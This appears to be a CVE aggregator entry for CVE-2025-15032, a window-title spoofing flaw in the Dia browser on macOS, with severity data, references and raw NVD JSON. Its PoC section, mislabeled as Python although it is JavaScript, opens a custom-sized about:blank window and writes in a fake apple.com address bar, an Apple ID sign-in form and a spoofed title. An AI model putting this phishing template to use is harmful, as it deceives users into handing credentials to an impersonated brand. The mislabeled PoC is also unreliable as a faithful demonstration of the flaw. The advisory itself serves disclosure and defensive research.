CVE-2025-15032

Description

Missing about:blank indicator in custom-sized new windows in Dia before 1.9.0 on macOS could allow an attacker to spoof a trusted domain in the window title and mislead users about the current site.

CVSS Details

CVSS Score

7.4

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Dia < 1.9.0 (macOS)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-15032 PoC - Window Title Spoofing
// This PoC demonstrates how an attacker can create a custom-sized window
// that spoofs a trusted domain in the window title

// Create a custom-sized window (key to triggering the vulnerability)
const maliciousWindow = window.open(
  'about:blank',
  'SpoofedWindow',
  'width=800,height=600,resizable=yes'
);

if (maliciousWindow) {
  const doc = maliciousWindow.document;
  
  // Write HTML content with fake address bar simulation
  doc.open();
  doc.write(`
    <!DOCTYPE html>
    <html>
    <head>
      <style>
        body { margin: 0; font-family: Arial, sans-serif; }
        .fake-address-bar {
          background: #f0f0f0;
          padding: 8px;
          border-bottom: 1px solid #ccc;
          font-size: 14px;
        }
        .fake-url {
          background: white;
          padding: 6px 10px;
          border-radius: 4px;
          border: 1px solid #ccc;
        }
        .fake-content {
          padding: 40px;
          text-align: center;
        }
        input {
          padding: 10px;
          margin: 10px;
          width: 250px;
        }
        button {
          padding: 10px 20px;
          background: #0066cc;
          color: white;
          border: none;
          cursor: pointer;
        }
      </style>
    </head>
    <body>
      <div class="fake-address-bar">
        <span class="fake-url">https://www.apple.com/login</span>
      </div>
      <div class="fake-content">
        <h2>Apple ID Sign In</h2>
        <p>Please sign in to your Apple account</p>
        <form>
          <input type="text" placeholder="Apple ID" />
          <input type="password" placeholder="Password" />
          <button type="submit">Sign In</button>
        </form>
      </div>
    </body>
    </html>
  `);
  doc.close();
  
  // The window title can be set to further deceive users
  maliciousWindow.document.title = 'https://www.apple.com - Sign In';
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-15032
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-15032
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-15032/
[4] VulDB https://vuldb.com/cve/CVE-2025-15032
[5] https://www.diabrowser.com/security/bulletins#CVE-2025-15032

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-15032", "sourceIdentifier": "59469e6c-7ea7-446f-8e43-06aa32c115e8", "published": "2026-01-16T19:16:16.220", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing about:blank indicator in custom-sized new windows in Dia before 1.9.0 on macOS could allow an attacker to spoof a trusted domain in the window title and mislead users about the current site."}, {"lang": "es", "value": "La falta del indicador about:blank en nuevas ventanas de tamaño personalizado en Dia antes de la versión 1.9.0 en macOS podría permitir a un atacante suplantar un dominio de confianza en el título de la ventana y engañar a los usuarios sobre el sitio actual."}], "metrics": {"cvssMetricV31": [{"source": "59469e6c-7ea7-446f-8e43-06aa32c115e8", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.0}]}, "weaknesses": [{"source": "59469e6c-7ea7-446f-8e43-06aa32c115e8", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1021"}]}], "references": [{"url": "https://www.diabrowser.com/security/bulletins#CVE-2025-15032", "source": "59469e6c-7ea7-446f-8e43-06aa32c115e8"}]}}